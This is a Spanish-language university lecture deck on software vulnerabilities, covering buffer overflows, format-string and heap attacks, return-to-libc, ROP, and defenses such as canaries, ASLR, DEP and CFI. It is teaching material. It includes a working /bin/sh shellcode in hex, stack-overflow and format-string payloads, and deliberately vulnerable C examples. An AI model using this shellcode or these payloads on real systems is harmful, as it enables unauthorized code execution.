Vulnerabilidades en el software

Anuncio
Vulnerabilidades en el
software
Facultad Politécnica – UNA
Maestría en TICs – 2015
Énfasis Auditoría y Seguridad de la Información
Seguridad en aplicaciones y base de datos
Cristian Cappo ([email protected])
NIDTEC - Núcleo de Investigación y Desarrollo Tecnológico - FPUNA
Contenido
 Los 25 errores más peligrosos en software
(Según SANS - Instituto en US especializado en seguridad de la
información y ciberseguridad – SysAdmin-Audit-Networking-Security)
 Breve introducción a lenguaje C
(en diapositiva separada)
 Buffer Overflow. Descripción. Defensas
 Prácticas para desarrollo de software seguro
2
25 top errores de SW más peligrosos
 Categoría: Interacción insegura entre
componentes
 Error al preservar la estructura de la página
web(XSS)
 Error al preservar la estructura de la consulta SQL
 Neutralización impropia en elementos especial usados
en comandos del S.O. (OS command injection)
 Cross Site Request Forgery (CSRF)
 Subida de archivos peligrosos no restringido
 Redirección de URL a sitios no confiables (Open
Redirect).
 http://example.com/example.php?url=http://malicious.example.co
m
3
25 top errores de SW más peligrosos(2)
 Categoría: Manejo riesgoso de recursos
 Copia de buffer sin verificar el tamaño (buffer overflow)
 Limitación impropia de un camino a un directorio
restringuido (Path traversal)
 Descarga de código sin chequeo de integridad
 Inclusión de funcionalidad desde lugares no confiables
 Uso de funciones potencialmente peligrosas
 gets(), strcpy(), strcat(), etc




Acceso a buffers con longitudes de tamaño incorrectas
Cálculo incorrecto del tamaño del buffer
Formato de cadenas no controlado
Integer overflow
4
25 top errores de SW más peligrosos(3)
 Categoría: Defensa porosa o insuficiente










Olvido de autenticación en funciones críticas
Falta de autorización
Uso de credenciales “fijas”
Olvido de encriptación en datos sensibles
Confianza en entradas no verificadas en una decisión de
seguridad
Ejecución con privilegios innecesarios
Control de acceso indebido (autorización)
Uso de un algoritmo criptográfico inseguro o “roto”
Restricción impropia a intentos excesivos de autenticación.
Uso de Hash de una dirección sin SALT
5
Seguridad en el software
 Muchas vulnerabilidades resultan de una práctica de
programación deficiente
 Consecuencia de insuficientes validaciones y
chequeos de datos y códigos de error
 Calidad/Confiabilidad en el SW
 Concerniente con la falla accidental del programa como
resultado de aleatoriedad, entrada no anticipada, interacción
con el SO o uso de código incorrecto. Se mejora usando
técnicas de diseño y testing para eliminar los bugs.
 Seguridad en el SW:
 Existe un atacante que utiliza entradas totalmente diferentes
a las esperadas. Puede que no se detecten con las técnicas
de testing usuales.
6
Bug & Exploit
 Un bug es un lugar donde el comportamiento
de la ejecución real puede desviarse del
comportamiento esperado.
 Un exploit es una entrada que dá al atacante
una ventaja
Método
Objetivo
Secuestro del flujo de control Ganar el control del puntero de
instrucción %eip
(Control Flow Hijack)
Denegación de Servicio
Causar que el programa se interrumpa
o pare de dar servicio
Descubierta de Informacion
Fuga de información privada
ej., contraseñas guardadas
7
Buffer overflow
 Una condición que ocurre cuando datos son escritos fuera del
espacio destinado al buffer que debe contenerlos. Usualmente con
lenguajes de bajo nivel como C y C++.
 Un programa normal con este bug simplemente aborta y se
cancela.
 Consecuencias:
 Corrupción de los datos del programa, transferencia inesperada del
control de ejecución, violación de acceso a memoria, ejecución de
código del atacante.
 Tipos
 Basados en Stack
 Basados en Heap
8
Buffer overflow - historia
Año
Evento
1988
Morris (Robert) Internet Worm. Usó un bof para comprometer una versión
vulnerable de fingerd en máquinas VAX. Enviaba una cadena especial al demonio
finger, el cual causaba la ejecución de código que creaba una nueva copia. 10%
de hosts afectados (del Internet de esa época)
1995
BOF en httpd 1.3 de NCSA descubierto y publicado en bugtraq por Thomas Lopatic
1996
Aleph One publicó “Smashing the stack for fun & profit” en el magazine Phrack,
dando los pasos para explotar los BOF basados en stack.
2001
CodeRed (motivó la carta de Bill Gates para crear una plataforma de sistemas
seguros). Explotó un BOF en el servidor MS IIS 5.0. 300000 máquinas afectadas
en 14 horas
2003
SQL Slammer (worm). Explotó un BOF en MS SQL Server 2000. 75000 máquinas
afectadas en 10 minutos.
2004
Sasser worm. Explotó un BOF en MS Window 2000/XP en el servicio de subsistema
de seguridad de autoridad local (Local Security Authority Subsytem service)
2014
BOF descubierto en código del servidor X11 server que estuvo latente en el fuente
por 20 años!!
9
Buffer overflow – tendencia
https://web.nvd.nist.gov/view/vuln/statistics-results?adv_search=true&cves=on&cwe_id=CWE-119
10
Secuestro de flujo de control
Siempre Cómputo + Control
shellcode (payload)
Cómputo
•
•
•
•
•
relleno
+
Inyección de código
Return-to-libc
Sobreescrita del Heap
Return-oriented programming
...
&buf
control
El mismo principio
pero diferentes
mecanismos
11
Layout de memoria
12
Stack frame con funciones P y Q
13
Memory layout para Intel x86
0xFFFFFFFF
4GB
Línea de comandos & entorno
STACK
int f() {int x; ..} + Metadata
HEAP
malloc(sizeof(long))
Tiempo de ejecución
Datos No inicializados
Tiempo de
compilación
Datos Inicializados
Text segment (código)
0x00000000
static int x;
static const int y = 10;
0x4c2
0x4c1
0x4bf
0x4be
..
sub $0x224, %esp
push %ecx
mov %esp, %ebp
push %ebp
14
Ejecución básica
Fetch, decode, execute
Binario
Código
Datos
...
Procesador
Stack
Heap
File system
Lectura & Escritura
Memoria del
proceso
15
Instrucciones asm x86 usuales
16
Registros usuales en x86
32 bit 16 bit
8 bit
8 bit Uso
%eax
%ax
%ah
%al
Acumuladores usados para operaciones aritméticas y
operaciones de I/O y ejecutar llamadas de interrupción
%ebx
%bx
%bh
%bl
Acceso a memoria, paso de argumentos a llamadas del
sistema y retorno de valores
%ecx
%cx
%ch
%cl
Registros de contadores
%edx
%dx
%dh
%dl
Registro de datos para operaciones aritméticas,
llamadas de interrupción y operaciones de I/O
%ebp
Puntero base que contiene la dirección del actual stack
frame
%eip
Puntero de instrucciones o contador de programa que
contiene la dirección de la siguiente instrucción a ser
ejecutada
%esi
Registro de fuente índice de fuente usada como
puntero para operaciones de arreglos o cadenas
%esp
Puntero de Pila que contiene la dirección del tope de la
pila
17
cdecl – Por defecto para Linux & gcc
(orden de colocación de parámetros en la pila)
b
a
return addr
caller’s ebp
locals
(buf, c, d ≥ 28
bytes if stored
on stack)
buf
c
return addr
orange’s ebp
…
%ebp
frame
%esp
stack
crecimiento
int orange(int a, int b)
Parametros
{
(llamador)
char buf[16];
int c, d;
Stack inicial
if(a > b)
de orange
c = a;
else
c = b;
Creado antes
d = red(c, buf);
de llamar a red
return d;
}
Luego que red haya
sido llamado
…
18
Proceso de llamada a una función
 Función llamadora
 Colocar argumentos en la pila (en orden reverso)
 Colocar el return address, es decir, la dirección de la instrucción
que quieres que se ejecute luego que el control te retorne
 Saltar a la dirección de la función
 Función llamada
 Colocar el %ebp antiguo en la pila
 Hacer que %ebp sea ahora %esp
 Push de las variables locales en la Pila
 Retornando a la función
 Reasignar el stack frame previo %esp=%ebp ó %ebp=(%ebp)
 Saltar a la dirección de retorno (return address) %eip = 4(%esp)
19
Buffer overflow
 ¿Qué pasa cuando escribimos fuera del buffer?
 Según el estándar el programa queda indefinido.
void func(char * arg1 ) {
char buffer[4];
strcpy(buffer, arg1);
..
}
int main() {
char * msgstr = “Authme!”;
func(msgstr);
}
A
u
t
h
m
e
!
%ebp
Buffer
\0
%eip
&arg1
Crash !! (segmentation fault)
20
void func(char * arg1 ) {
int authenticated = 0;
char buffer[4];
strcpy(buffer, arg1);
if ( authenticated ) ..
..
}
int main() {
char * msgstr = “Authme!”;
func(msgstr);
}
A
u
buffer
t
h
m e
! \0
4d
21 00
65
authenticated
%ebp
&eip
&arg1
Pasa la validación!!
21
Ejemplo básico de vulnerabilidad
#include <string.h>
int main(int argc, char **argv) {
char buf[64];
strcpy(buf, argv[1]);
}
Desensamblado
0x080483e4
0x080483e5
0x080483e7
0x080483ea
0x080483ed
0x080483f0
0x080483f4
0x080483f7
0x080483fa
0x080483ff
0x08048400
de la función main:
<+0>:
push
%ebp
<+1>:
mov
%esp,%ebp
<+3>:
sub
$72,%esp
<+6>:
mov
12(%ebp),%eax
<+9>:
mov
4(%eax),%eax
<+12>:
mov
%eax,4(%esp)
<+16>:
lea
-64(%ebp),%eax
<+19>:
mov
%eax,(%esp)
<+22>:
call
0x8048300 <strcpy@plt>
<+27>:
leave
<+28>:
ret
…
argv
argc
return addr
caller’s ebp
buf
(64 bytes)
%ebp
argv[1]
buf
%esp
22
“123456”
Desensamblado
0x080483e4
0x080483e5
0x080483e7
0x080483ea
0x080483ed
0x080483f0
0x080483f4
0x080483f7
0x080483fa
0x080483ff
0x08048400
de la función main:
<+0>:
push
%ebp
<+1>:
mov
%esp,%ebp
<+3>:
sub
$72,%esp
<+6>:
mov
12(%ebp),%eax
<+9>:
mov
4(%eax),%eax
<+12>:
mov
%eax,4(%esp)
<+16>:
lea
-64(%ebp),%eax
<+19>:
mov
%eax,(%esp)
<+22>:
call
0x8048300 <strcpy@plt>
<+27>:
leave
<+28>:
ret
…
argv
argc
return addr
caller’s ebp
buf
(64 bytes)
%ebp
123456\0
#include <string.h>
int main(int argc, char **argv) {
char buf[64];
strcpy(buf, argv[1]);
}
argv[1]
buf
%esp
23
“A”x68 . “\xEF\xBE\xAD\xDE”
Desensamblado
0x080483e4
0x080483e5
0x080483e7
0x080483ea
0x080483ed
0x080483f0
0x080483f4
0x080483f7
0x080483fa
0x080483ff
0x08048400
…
argv
argc
corrompido
return addr
sobreescrito 0xDEADBEEF
AAAAebp
sobreescrito caller’s
de la función main:
<+0>:
push
%ebp
<+1>:
mov
%esp,%ebp
<+3>:
sub
$72,%esp
<+6>:
mov
12(%ebp),%eax
<+9>:
mov
4(%eax),%eax
<+12>:
mov
%eax,4(%esp)
<+16>:
lea
-64(%ebp),%eax
<+19>:
mov
%eax,(%esp)
<+22>:
call
0x8048300 <strcpy@plt>
<+27>:
leave
<+28>:
ret
buf
(64 bytes)
%ebp
AAAA… (64 in total)
#include <string.h>
int main(int argc, char **argv) {
char buf[64];
strcpy(buf, argv[1]);
}
argv[1]
buf
%esp
24
Desmontando el Frame - 1
#include <string.h>
int main(int argc, char **argv) {
char buf[64];
strcpy(buf, argv[1]);
}
Desensamblado
0x080483e4
0x080483e5
0x080483e7
0x080483ea
0x080483ed
0x080483f0
0x080483f4
0x080483f7
0x080483fa
=> 0x080483ff
0x08048400
…
argv
argc
corrompido
sobrescrito 0xDEADBEEF
AAAA
sobrescrito
de la función main:
<+0>:
push
%ebp
<+1>:
mov
%esp,%ebp
leave
<+3>:
sub
$72,%esp
1. mov
<+6>:
mov
12(%ebp),%eax
<+9>:
mov
4(%eax),%eax
2. pop
<+12>:
mov
%eax,4(%esp)
<+16>:
lea
-64(%ebp),%eax
<+19>:
mov
%eax,(%esp)
<+22>:
call
0x8048300 <strcpy@plt>
<+27>:
leave
<+28>:
ret
%esp
y
%ebp
%ebp,%esp
%ebp
%esp
25
Desmontando el Frame - 2
#include <string.h>
int main(int argc, char **argv) {
char buf[64];
strcpy(buf, argv[1]);
}
Desensamblado
0x080483e4
0x080483e5
0x080483e7
0x080483ea
0x080483ed
0x080483f0
0x080483f4
0x080483f7
0x080483fa
0x080483ff
0x08048400
…
argv
argc
corrompido
sobrescrito 0xDEADBEEF
de la función main:
%ebp = AAAA
<+0>:
push
%ebp
<+1>:
mov
%esp,%ebp
leave
<+3>:
sub
$72,%esp
1. mov %ebp,%esp
<+6>:
mov
12(%ebp),%eax
<+9>:
mov
4(%eax),%eax
2. pop %ebp
<+12>:
mov
%eax,4(%esp)
<+16>:
lea
-64(%ebp),%eax
<+19>:
mov
%eax,(%esp)
<+22>:
call
0x8048300 <strcpy@plt>
<+27>:
leave
<+28>:
ret
%esp
26
Desmontando el Frame - 3
#include <string.h>
int main(int argc, char **argv) {
char buf[64];
strcpy(buf, argv[1]);
}
Desensamblado
0x080483e4
0x080483e5
0x080483e7
0x080483ea
0x080483ed
0x080483f0
0x080483f4
0x080483f7
0x080483fa
0x080483ff
0x08048400
…
argv
corrompido
argc
%esp
de la función main:
<+0>:
push
%ebp
<+1>:
mov
%esp,%ebp
%eip = 0xDEADBEEF
<+3>:
sub
$72,%esp
(probablemente crash)
<+6>:
mov
12(%ebp),%eax
<+9>:
mov
4(%eax),%eax
<+12>:
mov
%eax,4(%esp)
<+16>:
lea
-64(%ebp),%eax
<+19>:
mov
%eax,(%esp)
<+22>:
call
0x8048300 <strcpy@plt>
<+27>:
leave
<+28>:
ret
27
Inyección de código
 En el ejemplo anterior dimos una cadena
estática pero éstas pueden venir de:




Entrada de texto
Variables de entorno
Paquetes (red)
Archivos
28
Inyección de código
 Desafíos
 Leer mi código en memoria
 Código de máquina
 Cuidado para construir (no debe tener \0)
 ¿Qué código?
 Un intérprete de línea de comandos (shell)
#include <string.h>
int main() {
char * name[2];
name[0] = “/bin/sh”;
name[1] = NULL;
execve(name[0],name,NULL);
}
29
Shellcode
Tradicionalmente, inyectamos código
ensamblador para exec(“/bin/sh”)
en el buffer.
…
argv
argc
&buf
…
0x080483fa <+22>: call
0x080483ff <+27>: leave
0x08048400 <+28>: ret
%ebp
shellcode…
…
0x8048300 <strcpy@plt>
argv[1]
buf
%esp
30
Ejecutando una llamada al sistema
•execve(“/bin/sh”,
0, 0);en eax
1. Colocar
la llamada al sistema
2. arg 1 en %ebx, arg 2 en %ecx, arg 3
execve es
en %edx
0xb
3. llamar int 0x80*
addr. en
4. Llamada al sistema
%ebx,
con resultado en %eax
0 en %ecx
31
Ejemplo de programa
#include <stdio.h>
#include <string.h>
char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\xb0\x0b\xcd\x80";
int main(int argc, char **argv)
{
printf ("Shellcode length : %d bytes\n", strlen (code));
int(*f)()=(int(*)())code;
f();
$ gcc -o shellcode -fno-stack-protector
}
-z execstack shellcode.c
Autor: kernel_panik, http://www.shell-storm.org/shellcode/files/shellcode-752.php
32
Ejecución
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80
Shellcode
ebx
ecx
esp
0
eax
0x0b
Registros
esp
0x0
0x0
0x68
0x73
0x2f
0x2f
0x6e
0x69
0x62
0x2f
h
s
/
/
n
i
b
/
Autor: kernel_panik, http://www.shell-storm.org/shellcode/files/shellcode-752.php
33
 ¿Cómo conozco la dirección?
 Agregar la instrucción nop y mejoramos nuestra
chance.
Override
%eip
%ebp
0xbff
nop nop nop
\0x31\0xc9\0xf7..
shellcode
buffer
%eip
34
34
Resumen
 Para generar un exploit para un buffer overflow
básico:
 Determinar el tamaño del stack frame sobre la
cabeza del buffer
 Inundar el buffer con el tamaño correcto
&buf
padding
cómputo
shellcode
+
control
35
Otros ataques de memoria
 El que vimos se llama stack smashing (overflow)
 Constituye una violación de la integridad y también
de la disponibilidad
 Otros tipos





Format String
Heap overflow
Integer overflow
Read overflow
Stale memory
36
Ataques de cadenas de formato
(format strings)
Incorrecto
OK
int wrong(char *user)
{
printf(user);
}
int ok(char *user)
{
printf(“%s”,
user);
}
No abusar de printf
37
Funciones de formateo de cadenas
printf(char *fmt, ...)
especifica número y
tipo de argumentos
Número variable
de argumentos
Función
Propósito
printf
Imprime en stdout
fprintf
Imprime en un flujo FILE
sprintf
Imprime en una cadena
vfprintf
Imprime en un flujo FILE desde va_list
syslog
Escribe mensajes a system log
setproctitle
sets argv[0]
38
Funciones con parámetros variables
 Son aquellas con aridad indefinida
 Soportado en muchos lenguajes





C
C++
Javascript
Perl
PHP
En cdecl, el llamador es
responsable de limpiar los
argumentos
¿Porqué?
39
Ejemplo simple
Queremos implementar una función al estilo printf que
solo imprime cuando la depuración esta activada
void debug(char *key, char *fmt, ...) {
va_list ap;
char buf[BUFSIZE];
if (!KeyInList(key)) return;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
printf(“%s”, buf);
}
ap es el puntero al
argumento
Hacer que ap apunte al
stack usando el último
argumento fijo
Llamar a vsprintf con args
Limpiamos
40
Diagrama del stack para printf
…
caller
arg n
…
arg 2
arg 1
return addr
caller’s ebp
callee-save
callee
n-1mo
argumento
locals
1er argmento
(va_list)
Especificador
de formato
 Va_list es un puntero
al segundo
argumento
 Cada formato
especifica el tipo del
actual argumento
 Conocido para
hacer el salto al
siguiente
argumento
41
Ejemplo
…
caller
arg 4
arg 3
arg 2
arg 1
return addr
caller’s ebp
printf
callee-save
locals
42
Dirección de
“world”
Dirección de
“hello”
char s1[] = “hello”;
char s2[] = “world”;
printf(“%s %s %u”,
s1, s2, 42);
Dirección de
“%s %s %u”
42
1.
2.
3.
4.
5.
080483d4 <foo>:
80483d4:
80483d5:
80483d7:
80483da:
80483dd:
80483e1:
80483e4:
80483e7:
80483ec:
80483ef:
80483f2:
80483f7:
80483f8:
push
mov
sub
mov
mov
lea
mov
call
lea
mov
call
leave
ret
int foo(char *fmt) {
char buf[32];
strcpy(buf, fmt);
printf(buf);
}
%ebp
%esp,%ebp
$0x28,%esp
; allocate 32 bytes on stack
0x8(%ebp),%eax
; eax := M[ebp+8] - addr of
%eax,0x4(%esp)
; M[esp+4] := eax - push as
-0x20(%ebp),%eax ; eax := ebp-32
- addr of
%eax,(%esp)
; M[esp] := eax
- push as
80482fc <strcpy@plt>
-0x20(%ebp),%eax ; eax := ebp-32
- addr of
%eax,(%esp)
; M[esp] := eax
- push as
804830c <printf@plt>
fmt
arg 2
buf
arg 1
buf again
arg 1
43
Mirando las direcciones
return addr
foo
caller’s ebp
buf
(32 bytes)
stale arg 2
arg 1
printf
return addr
foo’s ebp
locals
1.
2.
3.
=>
5.
int foo(char *fmt) {
char buf[32];
strcpy(buf, fmt);
printf(buf);
}
Note: buf esta abajo de
printf en el stack, por tanto
podemos caminar a el con el
especificador correcto
Que pasa si fmt es “%x%s”?
44
Overflow por el formateo de cadena
return addr
caller’s ebp
char buf[32];
sprintf(buf, user);
foo
Sobreescribir la
dirección de
retorno
buf
(32 bytes)
“%36u\x3c\xd3\xff\xbf<nops><shellcode>”
arg 2
sprintf
arg 1
return addr
foo’s ebp
locals
Escribir 36 digitos
decimales
sobreescribiendo buf y
el ebp del llamador
Shellcode con
nop(no
operation)
45
Resumen de ataque por formato de cadena
 Usar un especificador de formato a fin de
“caminar” por el stack hasta conseguir el
formato adecuado.
 Usar el especificador para codificar la dirección
 Dos formas de sobreescribir:
 Usando %n (número de bytes escritos hasta aquí y lo
deja en un parámetro)
 Usando sprintf para un overflow básico
46
Heap overflow
 Localizado usualmente bajo el código del
programa.
 Relacionado al uso de estructura de datos
dinámica
 No existe dirección de retorno
 Defensas:
 Hacer que heap no ejecutable
 Aleatorización de la asignación de memoria en el
heap.
47
Heap overflow (ejemplo)
typedef struct_vuln_struct {
char buff[MAX_LEN];
int (*cmp) (char *, char *);
} vuln;
/* antes se hizo
vuln * t = malloc(sizeof(vuln) );
..
foo(t, “..”, “..”);
..
*/
int foo ( vuln * s, char * one, char * two ) {
strcpy(s->buff, one);
strcat(s->buff, two);
return s->cmp(s->buff,”file://archivo”);
}
vulnerabilidad => strlen(one) + strlen(two) < MAX_LEN
48
Variantes de Heap overflow
 C++: Overflow sobre el objeto vtable que
contiene los punteros a métodos padres.
 Overflow en objetos adyacentes
 No precisamente el buffer esta con un puntero a
función pero es asignado cerca de uno en el heap.
 Overflow sobre metadatos (por ejemplo en
estructura de datos).
49
Otros overflow
 Integer overflow
 Pueden llenar datos para:
 Modificar clave secreta, el estado de una variable, cadena que
pueden ser interpretadas por otros programas.
 Read overflow
 Leer más allá del buffer, por ejemplo buscando claves
 Heartbleed (2014): 600000 servidores en Internet. Podían leer más
allá del tamaño recibido y así obtener el contenido pasado del
buffer(passwords, claves criptográficas, etc)
 Stale memory
 Utilizar un puntero que ya fue liberado (desreferenciar un
puntero peligroso)
 Internet Explorer (2010): Ver boletin 979352. Link:
https://technet.microsoft.com/en-us/library/security/979352.aspx
50
Return-to-libc
 Shellcode sin inyección de código
51
Ejemplo: Ataque de return-to-libc
ret transfiere el control a
system, el cual encuentra
argumentos en el Stack
Sobreescribir el return address con
la dirección de una función en libc
 Configurar el ret. add. y los
argumentos
 ret llamará a una función en libc
No hay inyección de código
…
ptr a
argv
“/bin/sh”
argc
return
addr
&system
caller’s ebp
%ebp
buf
(64 bytes)
argv[1]
buf
%esp
52
Defensas contra ataques de bajo nivel
 Cuestiones comunes en estos ataques
 Control de algunos datos usados por el programa
 Estos datos permiten acceso no intencional a alguna área de la
memoria en el programa
 Memoria segura y tipo seguro
 Propiedades que si son satisfechas asegura que una aplicación es
inmune a ataques de memoria.
 C y C++ no son de memoria segura por defecto.
 Defensas automáticas
 Canarios de Pila (stack canaries)
 ASLR (Address Space Layout Randomization)
 Ataque de ROP (return-oriented-programming)
 Defensa: Control de Integridad de Flujo (CFI)
 Codificación Segura
53
Memoria segura
 Solo crea punteros a través de formas estándar
p = malloc(), p = &x, p = &buf[5], etc,
 Solo usa un puntero para acceder a memoria
que pertenece al puntero.
 Dos conceptos asociados:
 Seguridad temporal.
 Seguridad espacial.
54
Seguridad espacial
 Se accede solo a lo que le pertenece al puntero
 Un puntero tiene tres propiedades (p, b, e)
 p = es el puntero actual
 b = es la base de la región de memoria que puede
acceder
 e = es la extensión o límite de la región
El acceso es permitido si b <= p <= e – sizeof(tipo(p))
55
Seguridad espacial
Ejemplo 1
int x ;
int * y
int * z
*y = 3;
*z = 3;
= &x;
= y + 1;
// sizeof(int) = 4
// p = &x
b=&x e=&x+4
// p = &x+4 b=&x e=&x+4
// OK &x <= &x <= (&x+4)-4
// Mal &x <= &x+4 <= (&x+4)-4
56
Seguridad espacial
Ejemplo 2
struct foo {
char buf[4];
int x;
}
struct foo f = {“cat”, 5};
char * y = &f.buf; // p=b=&f.buf, e=&f.buf+4
y[3] = ‘s’;
// Ok
p=&f.buf+3 <= (&f.buf+4)-1
y[4] = ‘y’;
// Mal p=&f.buf+4 <= (&f.buf+4)-1
57
Seguridad temporal
 Una violación a la seguridad temporal ocurre
cuando se trata de acceder a memoria
indefinida
 La seguridad espacial:
 Asegura que fue en una región legal
 La seguridad temporal
 Asegura que esa región es aún válida
 Memoria definida o indefinida
 Definida: significa asignada
 Indefinida: significa desasignada, no inicializada o no
asignada.
58
Seguridad temporal (ejemplo)
 Usar un puntero ya liberado, retornar un
puntero de una variable local.
// puntero usado cuando ya no es válido
int * p = malloc(sizeof(int));
*p = 5;
free(p);
printf(“%d\n”, *p);
// puntero utilizado y no fue inicializado
int * z ;
*z = 5;
59
Memoria segura
 Los lenguajes modernos son de memoria segura
y también de tipo seguro (Java, Python, Go, etc)
 Progreso para C/C++
 CCured(2004): 1.5x más lento
 No chequea en librerías
 Compilador rechaza muchos programas seguros
 Softbound/CETS(2010): 2.16x más lento
 Completo chequeo
 Flexible
 A nivel de HW
 Intel MPX (feb/2015)
 Soporta chequeo mucho más rápido, registros con límites de
punteros
60
Tipo seguro
 Cada objeto tiene asociado un tipo (int, puntero a int, puntero a
función, etc)
 Operaciones en un objeto son siempre compatibles con el tipo del
objeto
 Programas de tipo seguro no fallan en tiempo de ejecución.
 Tipo seguro es más fuerte que Memoria segura
int (*cmp) (char *, char*);
int * p = (int *) malloc (sizeof(int));
*p = 1;
cmp = (int(*) (char *, char*)) p;
cmp(“hola”, “que tal”);
Es de memoria
segura pero no de
tipo seguro
61
Tipo seguro
 Lenguajes de tipeo dinámico como Ruby o
Python son de tipo seguro.
 Cada objeto tiene un solo tipo = Dinámico
 Cada operación en un objeto dinámico es
permitido pero puede NO esta implementado
 Entonces ocurre una excepción!! Y esto es mucho
mejor que dejar que se igual se continue!!
62
Tipos por seguridad
 Puede relacionar directamente a propiedades de
seguridad.
 Se colocan invariantes en el programa
 Ejemplo: Java with Information Flow (JIF)
//Alice es dueño, Bob puede leer
int {Alice->Bob} x;
// Alice y Chuck es dueño, Bob puede leer
int {Alice->Bob, Chuck} y;
x = y; // Ok
y = x; // Mal
63
Tipo seguro
 ¿Porqué no todos son de tipo seguro?
 Por cuestiones de performance sobre todo
 Hacia el futuro
 Nuevos lenguajes ayudarían a mantener iguales
prestaciones de C y C++ pero siendo de tipo seguro
 Google => Go
 Mozilla => Rust
 Apple => Swift
 Podrían ser el futuro de la programación a bajo nivel.
64
Evitando los exploits
 ¿Qué hacemos mientras C se vuelva de
memoria segura?
 Dos defensas básicas
 Hacer que la explotación sea difícil
 Considerando los pasos, hacer que uno o más sean
difíciles o imposibles.
 Evitar el bug por completo
 Prácticas de codificación segura
 Revisión de código / Testing por seguridad (análisis
estáticos, dinámicos, test de penetración, etc)
 Estrategias son complementarias
 Evitar bugs pero agregar protección
 IDEA ya vista en el proceso de desarrollo software
seguro
65
Recordando el stack smashing
 Pasos:
 Colocar código de máquina en memoria (sin bytes nulos)
 Obtener el %eip y apuntar el código de ataque
 Encontrar la dirección de retorno
 ¿Cómo hacer estos pasos más dificultosos para
el atacante?
 Mejor caso: cambiar librerías, compilador y S.O.
 No cambio el código
 El cambio/arreglo está en la arquitectura de diseño y no en
el código
66
Primera técnica: Canarios
 Historia (porqué canarios?)
Override
%eip
%ebp
text
buffer
%eip
&arg1
&arg2
Canario de
stack
 Si el ataque sobreescribe el buffer también lo hace
con el canario. En este caso se verifica el valor y sino
coinciden se aborta
 Valor del canario: randómico usualmente.
 Protejo la colocación de código en el stack
67
Stack smashing (pasos)
 Pasos
 Colocar código de máquina en memoria (sin bytes nulos)
 Canarios
 Obtener el %eip y apuntar el código de ataque
 Defensa: hacer que el stack (y el heap)no sean
ejecutables
 DEP (Data Execution Prevention)
– Linux, OS X, MS, iOS, Android
 NX bit (No-Execute)
– XD (Executable disable) Intel
– EVP (Enhanced Virus protection) AMD
– XN (Execute Never) ARM
68
Defensa contra escritura de %eip

ASLR (Address Space Layout Randomization)
 Randómicamente colocar librerías estándar y otros elementos en memoria, haciendo
difícil de adivinar
 También previene encontrar el valor de retorno y el ataque return-to-libc

Disponible en los S.O. modernos







Linux (2004)
OpenBSD (2006)
Windows (2007)
Mac OS (2007 => para librerias 2011 => para cualquier programa)
Android (2012)
IOS (2011)
No todo es perfecto
 Solo desplaza el inicio(offset) de las áreas de memoria y no las localizaciones dentro
de ellas
 Solo para librerías y a veces para programas (depende del compilador)
 Necesidad de suficiente aleatoriedad


Se mostró que un ataque por fuerza bruta puede tener éxito. En 216 segundos en promedio se logró
romper la defensa en un HW del 2004.
Un HW de 64 bits puede proveer más seguridad
69
 Como evito la protección ASLR
 Defensa: evitar uso de libc completamente
 Respuesta:
 Construir la funcionalidad necesaria con código que
se encuentra en el área de text
 ROP (Return oriented programming)
70
ROP
 Inventada en 2007 por Hovav Shacham (paper académico)
 Idea: antes de usar una función de libc para ejecutar el shellcode,
concatenar piezas de código existentes llamadas gadgets.
 Un gadget es una secuencia de instrucción que termina con al
instrucción ret .
 La pila sirve como el código
 %esp : apunta al programa
 Un gadget invocado via ret
 Un gadget toma sus argumentos vía pop
 ¿Cómo puedo encontrar un gadget para construir un exploit?
 Automatizar la búsqueda en el binario: https//github.com/0vercl0k/rp
 ¿Son suficientes para hacer algo interesante?
 Shacham encontró código significante para libc (Turing Completo)
 E. Schwart (USENIX Security 2011) automatizó la creación de
shellcode basado en gadgets Link
71
Blind ROP
 La aleatorización de la ubicación del código en una máquina de 64
bits hace que el ataque muy difícil.
 Respuesta: blind ROP
 Introducido en 2014 en IEEE Security Conference
 Permite escribir el exploit sin poseer el binario
 Requiere de un stack overflow y un servicio que se restaure luego del
crash.
 Se basa en que los servidores generan un nuevo proceso luego del
crash, sin aleatorización (por ejemplo el servidor nginx).
 Más información en http://www.scs.stanford.edu/brop/
72
Resumen ataques y defensas
73
Detección de comportamiento malicioso
 Observar el comportamiento de un programa. Si
no esta haciendo lo esperado entonces puede
estar comprometido
 Desafíos
 Definir el comportamiento esperado
 Detectar desviaciones eficientemente
 Evitar que el detector se vea comprometido
 Control Flow Integrity (CFI) permite esto
 Componentes
 Control Flow Graph (CFG)
 Inline Reference Monitor (IRM)
 Inmutabilidad
74
Control Flow Integrity
 CFI clásico -> 2005
 16% de overhead en promedio
 45% de overhead en el peor caso
 No modular (sin soporte de librerías dinámicas)
 Modular CFI (2014)





5% overhead en promedio
12% overhead en el peor caso
Puede eliminar 95.75% de gadgets ROP
Modular con compilación separada
Drawback: solo C (LLVM compiler Link)
 Referencia de CFI (2005):
Control Flow Integrity.Principles, Implementations and Applications
75
Código seguro en C
 Referencias/Guías:
 SEI CERT C Coding standard
 https://www.securecoding.cert.org/confluence/display/c/SEI
+CERT+C+Coding+Standard
 Incluye otros lenguajes C++, Java, Perl.
 Secure Programming HOWTO. David Wheeler
 Matt Bishop. Robust Programming
http://nob.cs.ucdavis.edu/bishop/secprog/robust.html
 Combinar con revisión de código y testing.
76
 Regla: forzar la conformidad de la entrada
char digit_to_char(int i) {
char convert[] = “0123456789”;
if ( i < 0 || i > 9 ) return ‘?’;
return convert[i];
Conformidad de la
entrada
Buffer overflow
}
Confiar en la entrada recibida es una fuente recurrente
de vulnerabilidades
77
 Regla: Mejor lanzar una excepción que ejecutar
código malicioso
 Principio: Codificación robusta
78
Funciones comunes en C que son inseguras
Función
Descripción
gets( char * str)
Lee una línea de la entrada
estándar en str
sprintf(char * str, char * format, …)
Crea str de acuerdo al formato y
variables
strcat(char * dest, char * src)
Concatena el contendido de src a
dest
strcpy(char * dest, char * src)
Copia src a dest
vsprintf(char * str, char * fmt, va_list ap)
Crea str de acuerdo al formato y
variables
79
 Reglas:
 Usar funciones de cadenas seguras







strcpy => strlcpy
strcat => strlcat
strncat => strlcat
strncpy => strlcpy
sprintf => snprintf
vsprintf => vsnprintf
gets
=> fgets
 No olvidar terminador NUL
 Entender la aritmética de punteros
 Defensa contra punteros peligrosos
 Usar NULL luego de free()
 Manejar la memoria apropiadamente
 Usar librerías seguras
